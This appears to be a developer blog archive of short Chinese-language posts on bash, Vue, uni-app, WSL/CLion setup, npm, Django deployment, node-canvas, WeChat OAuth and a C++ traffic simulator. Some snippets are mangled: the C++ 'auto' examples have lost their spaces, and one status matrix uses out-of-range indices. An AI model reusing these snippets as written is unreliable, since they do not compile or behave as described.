    从标准输入中读取一行, 如果提供 -u 则从文件描述符FD中读取一行。该行数据与单词一样分隔, 第一个单词分给第一个变量,第二个分给第二个变量,依次类推,直至最后一个单词. 只有在$IFS中找到的字符才会被识别为单词分隔符
    

    如果不提供变量,这一行的读取将被存在REPLY变量中。

    

    Options:

      -a 数组	将读取的单词分配给顺序数组,下标从零开始。

      -d delim	继续读取直到读取DELIM的第一个字符,而不是换行符.

      -e	use Readline to obtain the line in an interactive shell

      -i text	use TEXT as the initial text for Readline

      -n nchars	return after reading NCHARS characters rather than waiting

    		for a newline, but honor a delimiter if fewer than

    		NCHARS characters are read before the delimiter

      -N nchars	return only after reading exactly NCHARS characters, unless

    		EOF is encountered or read times out, ignoring any

    		delimiter

      -p prompt	output the string PROMPT without a trailing newline before

    		attempting to read

      -r	do not allow backslashes to escape any characters

      -s	do not echo input coming from a terminal

      -t timeout	time out and return failure if a complete line of

    		input is not read within TIMEOUT seconds.  The value of the

    		TMOUT variable is the default timeout.  TIMEOUT may be a

    		fractional number.  If TIMEOUT is 0, read returns

    		immediately, without trying to read any data, returning

    		success only if input is available on the specified

    		file descriptor.  The exit status is greater than 128

    		if the timeout is exceeded

      -u fd	read from file descriptor FD instead of the standard input

    

    Exit Status:

    The return code is zero, unless end-of-file is encountered, read times out

    (in which case it's greater than 128), a variable assignment error occurs,

    or an invalid file descriptor is supplied as the argument to -u.

不翻译了,反正都是很简单的英语

📅 2019-07-01

在事件处理程序中调用 event.preventDefault() 或 event.stopPropagation() 是非常常见的需求。尽管我们可以在方法中轻松实现这点,但更好的方式是:方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。

为了解决这个问题,Vue.js 为 v-on 提供了事件修饰符。之前提过,修饰符是由点开头的指令后缀来表示的。

.stop

.prevent

.capture

.self

.once

.passive


<!-- 阻止单击事件继续传播 -->

<a v-on:click.stop="doThis"></a>



<!-- 提交事件不再重载页面 -->

<form v-on:submit.prevent="onSubmit"></form>



<!-- 修饰符可以串联 -->

<a v-on:click.stop.prevent="doThat"></a>



<!-- 只有修饰符 -->

<form v-on:submit.prevent></form>



<!-- 添加事件监听器时使用事件捕获模式 -->

<!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 -->

<div v-on:click.capture="doThis">...</div>



<!-- 只当在 event.target 是当前元素自身时触发处理函数 -->

<!-- 即事件不是从内部元素触发的 -->

<div v-on:click.self="doThat">...</div>

使用修饰符时,顺序很重要;相应的代码会以同样的顺序产生。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。

2.1.4 新增


<!-- 点击事件将只会触发一次 -->

<a v-on:click.once="doThis"></a>

不像其它只能对原生的 DOM 事件起作用的修饰符,.once 修饰符还能被用到自定义的组件事件上。如果你还没有阅读关于组件的文档,现在大可不必担心。

📅 2019-06-05
  1. var obj=/ /; 创建正则对象;若为var obj=/ /; 即赋值被注释掉,及运行被结束;

  2. 只能输入零和非零开头的数字,正确的正则表达式是,^(0|[1-9][0-9]*)$

  3. 有关this的

this的行为有时候会显得极其诡异,让人感到困惑,但只需要记住 this的值要等到代码真正执行时才能确定

同时this的值具体有以下几种情况:

  1. new 调用时指的是被构造的对象

  2. call、apply调用,指向我们指定的对象

  3. 对象调用,如执行obj.b(),this指向obj

  4. 默认的,指向全局变量window(相当于执行window.fun())

📅 2019-06-05

v-model 介绍

首先明确一点,v-model仅仅是语法糖。


<input type="text" v-model="something">

等价于


  <input

                type="text"

                v-bind:value="something"

                v-on:input="something = $event.target.value">

它将一个较复杂的input双向数据绑定简化了他的书写方式。

微信小程序绑定input

最开始我是使用微信推荐的写法


<input bindtap="input" />

然后在js里面解析event,然后再setData

uni-app下v-model的写法

本文采用uni-app自定义组件模式

wxml


...

<form @submit="formSubmit" @reset="formReset" :model="formItem" class="tm-every-center padding bg-white">

					<view class="section flex align-center">

						<view class="section__title">姓名:</view>

						<input name="name" placeholder="请填写您的姓名" class="bg-gray" v-model="formItem.name" />

					</view>

					<view class="section flex align-center">

						<view class="section__title">手机:</view>

						<input name="name" placeholder="请填写您的姓名" class="bg-gray" v-model="formItem.phone" />

					</view>

					<view class="section flex align-center">

						<view class="section__title">赛点:</view>

						<input name="name" placeholder="请填写您的姓名" class="bg-gray" v-model="formItem.competition" />

					</view>

					<view class="btn-area margin-top"><button formType="submit" class="cu-btn">提交</button></view>

				</form>

				...

然后在data里面设置

📅 2019-05-27

正则删除关键字所在行

查找:


^.*大师兄.*$

替换为:(空)

如果不留空行:

查找:


^.*大师兄.*\r?\n

替换为:(空)

正则删除HTML标签

Ctrl + H 正则匹配 <[^>]+> 替换为空

正则替换换行

Ctrl + H 正则匹配 \n 替换为你想要的

📅 2019-04-24

最终效果如下

2019-04-02T02:54:35.png

2019-04-02T02:57:55.png

代码如下


const baseURL = 'http://wxlc.wezoz.com/' // your base url

async function request(api, method, header, params) {

	console.group(api)

	console.log('%c' + method + ' REQUEST:', "color:green")

	console.log({

		'api': api,

		'header': header,

		'params': params

	})

	return await new Promise((resolve, reject) => {

		uni.request({

			url: baseURL + api,

			method: method,

			header: header,

			data: params,

			success: (result) => {

				console.log('%c' + method + ' SUCCESS RETURN DATA:', "color:green")

				console.log(result)

				console.groupEnd(api)

				resolve(result.data);

			},

			fail: (e) => {

				reject(e);

			}

		})

	})

}

async function post(api, params, success) {

	const POST_METHOD = 'POST'

	const POST_HEADER = {

		'content-type': 'application/x-www-form-urlencoded',

		'token': wx.getStorageSync('token')

	}

	return await request(api, POST_METHOD, POST_HEADER, params)

}

async function get(api, params, success) {

	const GET_METHOD = 'GET'

	const GET_HEADER = {

		'content-type': 'application/x-www-form-urlencoded',

		'token': wx.getStorageSync('token')

	}

	return await request(api, GET_METHOD, GET_HEADER, params)

}

module.exports = {

	POST: post,

	GET: get

}

所用到的一些consloe骚操作

console内使用CSS样式

consloe里面使用%c进行css样式格式化输出实例

📅 2019-04-02
win10下使用wsl配置Clion toolchain

前言

为什么要使用wsl来配置呢?因为我个人感觉这个比较方便,不用安装一堆包。直接敲命令就好。

准备工作

安装好Clion后,打开toolchain是这样的。

2019-03-28T01:51:00.png

前提是先装好wsl

选择wsl toolchain

会出现下面这个情况

2019-03-28T01:52:22.png

这是因为wsl没有配置ssh服务

配置wsl的ssh


sudo vi /etc/ssh/sshd_config

把密码认证的no改为yes


PasswordAuthentication yes

restart ssh


sudo service ssh restart 

如果出现以下提示

2019-03-28T02:15:33.png

则需要生成key


sudo dpkg-reconfigure openssh-server

查看ssh运行状态


service ssh status

configure remote credentials

2019-03-28T02:00:48.png

2019-03-28T02:16:37.png

配置编译环境

在wsl里面执行


sudo apt-get install build-essential gcc g++ cmake gdb

2019-03-28T05:16:09.png

📅 2019-03-28

所有的路口标号用int road[8]表示,

bool status[8][8]表示道路可否通行。

T字路口


T路口.png

对于T字路口,将道路分为(左,右,下)三个流量出入口,存在的状态有:

0. 全红(特殊状态应对突发事故)


     for (int i = 0; i < 8; i++) {

        for (int j = 0; j < 8; j++) {

            status[i][j] = false;

        }

    }

×|0|1|2|3|4|5

:–: | :–: | :–: | :–: | :–: | :–: |

0|×|×|×|×|×|×

1|×|×|×|×|×|×

2|×|×|×|×|×|×

3|×|×|×|×|×|×

4|×|×|×|×|×|×

5|×|×|×|×|×|×

正常状态下考虑红灯可右转,同向变道不受交通灯控制,即永远可通行


status[2][1] = status[4][3] = true;

status[0][1] = status[2][3] = status[4][5] = true;

×|0|1|2|3|4|5

:–: | :–: | :–: | :–: | :–: | :–: |

0||@||||

1||||||

2||@||@||

3||||||

4||||@||@

5||||||

同时需要限制逆行,即永远不可通行


// 出口不能自转和变道

status[0][0] = status[0][2]  = status[0][4]  = false;

status[4][4] = status[4][0]  = status[4][2]  = false;

status[2][2] = status[2][0]  = status[2][4]  = false;

// 出口不能进去

status[1][0] =status[1][4]  = status[1][2] = status[1][3]   = status[1][4] = status[1][5] = false;

status[3][0] =status[3][5]  = status[3][2] = status[3][3]   = status[3][4] = status[3][5] = false;

status[5][0] =status[5][6]  = status[5][2] = status[5][3]   = status[5][4] = status[5][5] = false;

×|0|1|2|3|4|5

📅 2019-03-22

目前,我采用的是迪杰斯特拉算法计算所有点的最短路径(感觉弗洛伊德算法会更好些?)。迪杰斯特拉算法算的是单源(V_begin)到所有点的最短距离,也就是说需要遍历一次所有的点。

遍历V_begin


for (int V_begin = 0; V_begin < G->m_CrossRoad_v.size(); V_begin++) {

}

下面是迪杰斯特拉算法的流程

1. 声明dist数组


vector<double> Determined_dist(G->m_CrossRoad_v.size(), 0.0);

2. 初始化顶点集


void calcShortestPath(Graph *G) {

    int currentPointSite,nextPointSite;

    ofstream PointPathFile(DIR_RES"PointPath.txt"),RoadPathFile(DIR_RES"RoadPath.txt");

    //对点进行的一级遍历

    for (int V_begin = 0; V_begin < G->m_CrossRoad_v.size(); V_begin++) {

        // =================== 迪杰斯特拉算法开始 ===============================

        vector<bool> S(G->m_CrossRoad_v.size(), false); //判断是否选中

        vector<double> dist(G->m_CrossRoad_v.size(), DBL_MAX/2);// dist

        vector<double> compare_dist(G->m_CrossRoad_v.size(), DBL_MAX/2);// 辅助dist用来取最短距离点

        vector<int> path(G->m_CrossRoad_v.size(),-2); // path

        S[V_begin] = true;

        path[V_begin] = -1;

        for(auto crossroad : G->m_CrossRoad_v[V_begin].JunctionRoad){

            nextPointSite = G->m_Road_v[crossroad.outRoadID].m_CrossRoadToSite;

            dist[nextPointSite] = G->m_Road_v[crossroad.outRoadID].m_dLength;

            compare_dist[nextPointSite] = dist[nextPointSite];

        }

        auto min = min_element(compare_dist.begin(), compare_dist.end());

        int min_element_index = distance(compare_dist.begin(), min);

        compare_dist[min_element_index] = DBL_MAX/2;

        // 循环size-1次

        for(int i = 0; i < G->m_CrossRoad_v.size()-1; i++){

            for(auto crossroad : G->m_CrossRoad_v[min_element_index].JunctionRoad){

                currentPointSite = min_element_index;

                nextPointSite = G->m_Road_v[crossroad.outRoadID].m_CrossRoadToSite;

                if(S[nextPointSite]){

                    continue;

                }

                if(dist[nextPointSite] > dist[currentPointSite] + G->m_Road_v[crossroad.outRoadID].m_dLength) {

                    dist[nextPointSite] = dist[currentPointSite] + G->m_Road_v[crossroad.outRoadID].m_dLength;

                    compare_dist[nextPointSite] = dist[nextPointSite];

                    path[nextPointSite] = currentPointSite;

                }

            }

            min = min_element(compare_dist.begin(), compare_dist.end());

            min_element_index = distance(compare_dist.begin(), min);

            S[min_element_index] = true;

            compare_dist[min_element_index] = DBL_MAX/2;

        }

        for(int i = 0;i<path.size();i++){

            int j = i;

            bool flag = false;

            while( path[j] >= 0) {

                flag = true;

                PointPathFile << path[j] << " ";

                for(auto node:G->m_CrossRoad_v[j].JunctionRoad){

                    if(G->m_Road_v[node.outRoadID].m_CrossRoadToSite == path[j]){

                        RoadPathFile << node.outRoadID << " ";

                    }

                }

                j = path[j];

            }

            if(flag){RoadPathFile << endl;PointPathFile << endl ;}

        }

    }

}
📅 2019-03-21

js类似于printf那样的格式化字符串

安装包


npm install sprintf-js

调用包


var sprintf = require('sprintf-js').sprintf,

操作实例:时间前补零操作


for (let i = 46; i >= 0; i--) {

        console.log(sprintf('%2d:%02d', i / 2, (i % 2 ? 0 : 30)))

      }
📅 2019-03-13

安装nodejs


sudo apt-get install nodejs

sudo apt-get install npm

全局安装包


sudo npm i -g cnpm

查看全局安装的包


npm list -g --depth 0

全局卸载包


sudo npm uninstall -g cnpm

清理缓存


npm cache clean -f

默认镜像太慢换淘宝镜像


npm config set registry https://registry.npm.taobao.org

现在我常使用cnpm包

检查配置是否成功


npm config get registry
📅 2019-03-12
毕业设计思路篇(一)之交通图的构建

2019-01-13 10-50-54屏幕截图.png

1. 导入道路地图

道路地图来自网络数据,已预处理为xml格式。


<?xml version='1.0' encoding='UTF-8'?>

<Roads>

  <road m_ID="71283896--1" len="620.98">

    <from lon="113.9205606" lat="22.9317667" id="848388981"/>

    <to lon="113.9260573" lat="22.9341232" id="2522072722"/>

  </road>

  <road m_ID="553852656--2" len="322.34">

    <from lon="113.9529339" lat="22.9448978" id="5345735265"/>

    <to lon="113.9516926" lat="22.9475618" id="5345735267"/>

  </road>

</Roads>

解析:一个road节点代表一条道路,len代表道路抽象长度,from,to子节点分别表示道路两端端点。

2. 解析道路数据

a. 构建交通图

赋值道路端点.


/**

*  路口类,记录着该路口的点坐标,以及其相连的方向道路节点组

 *               |           |

 *               |     |     |

 *               |  1     2  |

 *               |     |     |

 *        --------           --------

 *           3                  5

 *        - - - -            - - - -

 *           4                  6

 *        --------           --------

 *               |     |     |

 *               |  7     8  |

 *               |     |     |

 *               |           |

 *    如上图(1,2), (3,4), (5,6), (7,8)在同一个方向,我将其称为四组方向道路节点Node.

 *    其中,Node.inRoadID=1, Node.outRoadID=2;

 *         Node.inRoadID=4, Node.outRoadID=3;

 *         ...

 *         根据车辆靠右行原则以此类推.

*/

class CrossRoad {

public:

    CrossRoad(float fLon,float fLat) : m_fLat(fLat),m_fLon(fLon){};

    /**

     * 重载运算符 (==) 判断两个路口是否为同一个

     */

    bool operator==(CrossRoad &crossRoad);

    /**

     * 添加道路节点ID

     * @param in 入度

     * @param out 出度

     * @param atan2 该点与方向道路的atan2值

     */

    void addNode(int in,int out,double atan2);

public:

    //唯一标示符

    int m_nID;

    //经纬度的定义

    float m_fLon, m_fLat;

    vector<Node> JunctionRoad;

    //该路口的交通灯

    TrafficLight m_CTrafficLight_Light;

};

CrossRoad A,B

📅 2019-02-17

generateVehicle(Map_Graph);

1. 随机车辆总数

  • 此处未随机,待完善

std::random_device rd;

std::mt19937 mt(rd());

2. 遍历车辆,为车辆设立起点和路线

a. 在道路向量中随机选一条路径

-[ ] 此处未随机,待完善


auto route = v_Route[3];

b. 以该路径的首序列为起点


Vehicle car(n_VehicleNum, route, 0, 0, route.front());

G.m_Road_v[route.front()].m_queVehicle.push_back(car);
📅 2019-02-17

title: codeigniter | codeigniter的一些笔记

tags: codeigniter

categories: 笔记

abbrlink: 15d8

date: 2018-04-02 13:15:42

thumbnail:


codeigniter 部署坑

session 文件路径问题

解决方法

在application/config/config.php 中最后一行, 加入


$config['sess_save_path'] =BASEPATH.'../'.'session_file';

原因

未设置ssesion文件路径,会默认使用php.ini的文件路径,可能会出现无路径访问权限的问题

baseurl 修改

要记得修改baseurl的值,以免出现访问不成功的情况


$config['base_url'] = 'https://www.farminbackyard.com';

pasue;

📅 2019-02-16

layout: post

title: Deepin下Clion的相关问题

tags:

  • C++

categories:

  • 笔记

abbrlink: dd6c

date: 2018-09-10 08:33:30


此文记录Deepin下Clion的相关问题

toolchain不完整


sudo apt-get install build-essential

待续

📅 2019-02-16

继上次被坑后,由于未做笔记, 没想的我再次败在这个坑上, 自我感觉我还将使用bootstraap-table一段时间, 所以为了避免下次再被这个坑坑一个下午的时间. 我决定将它记录下来.

首先, 前端table插件有很多, 但是由于它是我接触的第一个,所以可能会用它一定的时间.

我采用的是, data-url,数据与视图分离的格式.

坑:

  1. 在operation的formatter和events的设定时, 切记不要设置data-field的值,否则会出现events显示不了的情况 .
  1. 在引入js拓展时,注意后面的js不能与其冲突,导致改变引入顺序
📅 2019-02-16
毕业设计汇总篇

2019-02-12 12-19-50屏幕截图.png

思路篇

思路篇主要记录程序流程思路

毕业设计思路篇(一)之道路数据的抽象

毕业设计思路篇(二)之交通灯的初始化

毕业设计思路篇(三)之预加载车辆路线

毕业设计思路篇(四)之生成车辆

毕业设计思路篇(五)之交通流量模拟

番外篇

番外篇主要记录非主要流程(即并非每次运行都会执行的模块,比如预处理等)。每个模块可单独修改或维护,而不影响主流程。

毕业设计番外篇(一)之车辆路径的构建

📅 2019-02-12

runSimulation(Graph &G)

1. 遍历每条道路

2. 遍历该道路的车辆

a. 计算特定时间间隔后的位置

b. 若应行驶至其他道路

进入对应的路口缓冲区,根据路口类的红绿灯对象判断是否能通行。

若能通行,则填至目标道路

若不能,则继续停留在路口缓冲区

c. 若仍停留在原道路

改变该车在当前道路的位置。


  for (auto &road:G.m_Road_v) {

        auto src = road.m_queVehicle;

        decltype(road.m_queVehicle) obj;

        //路内车的遍历

        while (!src.empty()) {

            //弹出一辆车

            auto it = src.front();

            src.pop_front();

            // 当车的时间戳小于实际时间时,才模拟运行

            if (it.time < SYSTEM_TIME) {

                it.fSpec = (100 - road.get_Congestion() - 20) / 3.6;

                dist = it.dDistance + it.fSpec * 10;

                it.time++;



                it.showself();

                //如果车十秒后不在此路

                if (dist >= road.m_dLength) {

                    //路径擦除

                    auto route = it.queRoute;

                    int site = it.m_nSiteRoadID;

                    route.pop();

                    //如果抵达终点

                    if (route.empty()) {

                        cout << "it is be shutdown" << endl;

                        exit(0);

                        // 否侧没有抵达终点

                    } else {

                        //获取所在路和下一条路的ID

                        int next = route.front();

                        //判断红绿灯情况

                        cout << site << endl;

                        G.m_CrossRoad_v[site].m_CTrafficLight_Light.clock(SYSTEM_TIME);

                        //如果可以通行

                        if (G.m_CrossRoad_v[site].m_CTrafficLight_Light.getStatus(it.m_nSiteRoadID, next)) {

                            cout << GREEN << "绿灯通行:" << endl;

                            it.queRoute = route;

                            it.dDistance = 0;

                            it.m_nSiteRoadID = next;

                            auto *site_road = &G.m_Road_v[next].m_queVehicle;

                            site_road->push_back(it);

                            //如果不能通行

                        } else {

                            //将距离置为道路长度,表示正在等候红灯

                            it.dDistance = G.m_Road_v[it.m_nSiteRoadID].m_dLength;

                            cout << YELLOW << "等待红灯" << endl;

                            //车辆塞回去

                            obj.push_back(it);

                        }

                    }

                    //否则,当车十秒后还在此路时

                } else {

                    it.dDistance = dist;

                    obj.push_back(it);

                }

                //否则直接填入

            } else {

                obj.push_back(it);

            }

        }

        road.m_queVehicle = obj;

    }
📅 2019-02-11

1. 从文件(route.txt)中读取路径

形如以下格式


0 1 

0 1 2 

0 1 2 3 

0 1 2 3 4 

0 1 2 3 4 5 

0 1 2 3 4 5 6 

0 1 2 3 4 5 6 7 

其中,一行表示一条可完全畅通的道路编号序列。将所有道路存入v_Route


vector<queue<int>> v_Route;



/**

 * load route from route file

 * @param Map_graph

 */

void loadRoute(Graph &Map_graph) {

    string str_Path;

    ifstream fin_Route(DIR_RES"route.txt");

    while (getline(fin_Route, str_Path)) {

        stringstream ss_Temp(str_Path);

        queue<int> q_Path_Temp;

        int n_Temp;

        while (ss_Temp >> n_Temp) {

            q_Path_Temp.push(n_Temp);

        }

        v_Route.push_back(q_Path_Temp);

    }

}
📅 2019-02-09

道路类型的设置


it->m_CTrafficLight_Light.setType(it->JunctionRoad.size());

根据路口道路条数, 设置路灯类型(是T字路口还是+字路口)


/**

 * 交通灯类

 */

class TrafficLight {

public:

    TrafficLight() {

        for (int i = 0; i < 8; i++) {

            roadID[i] = -1;

        }



    };

    void changeStatus();



    void clock(int time);



    void setAllRed();



    void setAllGreen();



    bool getStatus(int from, int to);

    /**

     * 设置灯的类型, 是T字路口还是+字路口

     * @param type 

     */

    void setType(int type) { this->type = type; };

    //路口标号

    // nLeftIn,nLeftOut,nDownIn,nDownOut,nRightIn,nRightOut,nUpIn,nUpOut;

    int roadID[8];

    //路口是否能走通

    bool status[4][4] = {false};

    int type;

    //表示可通过的方向(目标方向)

    //AllRED = 0,LeftGreen = 1,DownGreen = 2,RightGreen = 3,UpGreen = 4,UpDownGreen = 5,LeftRightGreen = 6,cross1 = 7,cross2 = 8

    int emStatus = 0;

    long long int time = 0;

};

对接各路口

📅 2019-01-26

首先,为什么我们需要这个?

因为微信小程序虽然可以可以绘制svg图片,但是在真机调试的时候却渲染不出来。所以我们需要一个工具(可以将svg转成微信小程序支持的canvas并绘制出来)。

我使用的是touch-wx + vs code 开发。

现已启用该开发模式.因为Ubuntu下经常编译不完整

Touch WX 是什么?

Touch WX

Touch WX是一套完全免费的微信小程序开发框架,包含丰富的UI控件用于官方组件的补充。与Touch UI开发方式很相似,也是通过VSCode编辑器+插件的方式开发,经过编译后输出小程序代码。

与其他小程序框架最主要的区别在于:Touch UI完全是基于小程序官方的自定义组件机制实现,输出的是小程序原始代码,而不是输出开发者完全无法阅读的编译代码。这样当遇到问题时,开发者可以很方便的定位问题所在,还可以基于输出的原始代码继续开发。

当你用Touch UI开发了H5应用,可以直接导入到Touch WX进行转换,稍作调整就能生成小程序。反之也同样,当你Touch WX开发了微信小程序,可以导出为Touch UI工程来生成H5应用。

Touch WX 的特点

Touch WX

我的理解

Touch WX 就是一个可以将特定的nodejs项目编译成微信小程序项目的框架

Touch WX更多操作

更多操作见http://www.touchui.io/touchui_doc_wx/

推荐大家看一下,或许会打开新世界的大门哦!

接下来,我默认你已经看了Touch WX的文档,并且拥有一定的nodejs基础

开始流程

安装parse-svg-path

npm install parse-svg-path --save

引入parse-svg-path

var parse = require('parse-svg-path')

使用parse-svg-path

parse(d)

d为svg中的path值

不了解svg?

请转http://www.w3school.com.cn/svg/svg_intro.asp

如何获得path值?


var options = {

            url:"svg的URL",

            success:function(res){

              const ctx = wx.createCanvasContext('myCanvas')

              ctx.setFillStyle('black')

              var match = res.data.match(/d="(.*?)"/);

              var d = match[1];

              console.log(d);

            }

    }

    wx.request(options); 

上图中d就是path值,我这里使用的是正则表达式查找,而且只有一个path,如不一样,请自行modify

📅 2019-01-21
python3 + Django + uwsgi + nginx 配置部署笔记

本文环境

操作系统: Ubuntu 16.04.3

Python版本: 3.5.2

Django版本: 2.0.4

nginx版本: 1.10.3

本文平台为腾讯云1核1G系统

我的项目文件名为: dgutpsy

安装pip3(python3 的pip)


sudo apt-get install python3-pip

2018-04-10-20-07-25.png

安装成功后运行pip3将会出现

2018-04-10-20-09-19.png

安装uwsgi


pip install uwsgi

2018-04-10-20-17-19.png

测试uwsgi运行状态

新建文件test.py


def application(env, start_response):

    start_response('200 OK', [('Content-Type','text/html')])

    return [b"Hello World"]

有些教程说是 return "hello world"

但是这样其实会出现访问空白的情况, 我的是Python3的环境,需要对hello world进行编码.

而如果你是Python2的环境,你应该写return "hello world"

使用uwsgi运行该文件


uwsgi --http :8000 --wsgi-file test.py

此语句的意思是,使用uwsgi运行test.py文件, 采用http模式, 端口8000

2018-04-10-20-44-49.png

访问页面

好啦,可以看到亲切的hello world 就说明uwsgi运行成功了

2018-04-10-20-39-21.png

TIPS: 如果你访问不了,请先检查腾讯云安全组端口是否开放8000端口

安装Django


pip3 install Django

如在python3里面import django没有报错则安装成功.

📅 2019-01-16

C++11引入了auto和decltype关键字实现类型推导,通过这两个关键字不仅能方便地获得复杂的类型,还能简化书写,提高编码效率。下面说一下C++中的auto

旧标准

auto其实并不是一个新的关键字,在旧的标准C++98/03中,它代表着“具有自动存储周期的局部变量”。啥意思呢?就是我们平常所说的变量,他与static相对。就是说所有非static类型的都是“具有自动存储期的”。也就是说在旧的标准下。


autoint i =3;//等价于int i=3;

新标准

在C++11中,auto作为一个新的类型指示符(如int,double)来指示编译器的,但是auto申明的变量的类型必须由编译器在编译时期推导出来,也称类型推导。这种类型推导不是C++所独有的,还有很多具备这种能力的语言(如Python,Javascript)。我们先来看一段Python代码


name ="thinkmoon"print"hello,"+ name 

在这里的name是不需要定义类型的,因为这个类型很容易被推导为字符串性,如过要想在C++中实现这种效果,我们可以这样。


#include<iostream>

int main(){

	auto name ="thinkmoon"; 

	std::cout <<"hello,"<< name << std::endl;

	return0;

}

效果是一样的,是不是觉得写起来特别的方便呢?

但是需要注意的是,在C++中这种静态类型推导是发生在编译期间的。而像Python这种动态类型推导却是发生在运行期间的。

auto的基本用法


#include<iostream>

usingnamespace std;

int main(){

auto x =5; 

cout << x << endl;//x被推导为intauto p =newauto(1);    

cout <<"*"<< p <<"="<<*p << endl;//p被推导为

int *constauto*v =&x, u =6; 

cout <<"*"<< v <<"="<<*v <<"\n u="<< u << endl;//v被推导为const int *,u被推导const int

}

对于最后一个类型推导有几个需要注意

  1. v被推导为const int *而这里auto代替int,但是u等于6还是要写的,否则编译器会报错。

  2. u的等号后面只能写整型的变量,否则会报错,因为不能让编译器产生具有二义性的推断。

其实我们学习的时候可以把auto理解为占位符,它只是占着一个位置并不做其它的事情,由编译器将其类型推导出来再用对应的类型去运行,所以这个时候auto的类型推导是不能让编译器产生二义性的。

auto的推导规则


int x =0;auto* a =&x;//auto推导为int,

auto b =&x;//auto推导为int *,即使不申明为指针也能推断为指针

auto& c = x;//auto推导为int,等价于int 

auto d = c;//auto推导为int,auto会抛弃右值的引用类型

const auto e = x;//e是const int类型,

auto f = e;//f是int型constauto&g = x;//g是const 

int & auto & h = g;  //h是const int & 

总结:

📅 2019-01-16
node环境安装canvas写中文并自定义字体生成图片

为什么要在服务端装canvas? 因为并不是所有的客户端都能很好的支持canvas(比如微信小程序不能修改自定义字体),所以我们需要一个

能够在服务端生成图片的,然后将图片传输

安装node-canvas

1. 更新编译环境


sudo apt-get install libcairo2-dev libjpeg8-dev libpango1.0-dev libgif-dev build-essential g++ -y

2. 安装node-canvas


npm install -g canvas

3. 测试代码


var Canvas = require('canvas'),

    canvas = new Canvas(300, 200),

    ctx = canvas.getContext('2d'),

    fs = require('fs');

 

var out = fs.createWriteStream(__dirname + '/image.png')

  , stream = canvas.createPNGStream();

 

stream.on('data', function(chunk){

  out.write(chunk);

});

 

//在左边画正方形

ctx.fillStyle = '#A00'    

ctx.fillRect(0, 30,50,50);   

  

 

//在右边画正方形

ctx.fillStyle = '#aaa'    

ctx.fillRect(50, 30, 50, 50);

 

//画文字

ctx.fillStyle = "#000";

ctx.font = "20px Arial";

ctx.fillText("Hello World", 0, 20);

 

//画一个圆

ctx.beginPath();

ctx.arc(30, 110, 20, 0, 2*Math.PI);

ctx.stroke();

ctx.fillStyle = "green";                                                                                                                          

ctx.fill();

ctx.save();  

可能遇到的问题

如果你按上述方法操作,并且运行成功了。那便是极好的

📅 2019-01-16
  1. URL跳转,

链接跳转

https://open.weixin.qq.com/connect/oauth2/authorize?appid=".$this->appid."&redirect_uri=".urlencode("http://192.168.43.46/auit/index.php?c=app&m=oauth")."&response_type=code&scope=snsapi_userinfo&state=STATE#wechat_redirect

  1. 用户进入页面,拿code换取ACCESS_TOKEN, 请求代码

file_get_contents("https://api.weixin.qq.com/sns/oauth2/access_token?appid=".$this->appid."&secret=".$this->secret."&code=".$_GET['code']."&grant_type=authorization_code");
  1. 用ACCESS_TOKEN换取用户数据,请求代码

file_get_contents("https://api.weixin.qq.com/sns/userinfo?access_token=".$data->access_token."&openid=".$data->openid."&lang=zh_CN")

流程示例代码


public function oauth(){

      if (isset($_GET['code'])){

          $data=json_decode(file_get_contents("https://api.weixin.qq.com/sns/oauth2/access_token?appid=".$this->appid."&secret=".$this->secret."&code=".$_GET['code']."&grant_type=authorization_code"));

          $userInfo=json_decode(file_get_contents("https://api.w

         eixin.qq.com/sns/userinfo?access_token=".$data->access_token."&openid=".$data->openid."&lang=zh_CN"));

          $user = array(

              'openid'  => $userInfo->openid,

              'nickname'     => $userInfo->nickname,

              'headimgurl' => $userInfo->headimgurl

          );

          $this->session->set_userdata($user);

          $this->db->replace('user', $user);

          redirect('client');

      }else{

          echo "出现未知错误,如果重复出现该错误,请联系开发者。错误代码:Oauth:10203";

      }

  }

php密码操作(PHP 5 >= 5.5.0, PHP 7)

  1. 加密操作:string password_hash ( string $password , int $algo [, array $options ] )

示例:


password_hash("admin", PASSWORD_DEFAULT); 
  1. 判断操作: bool password_verify ( string $password , string $hash )

示例:

📅 2019-01-16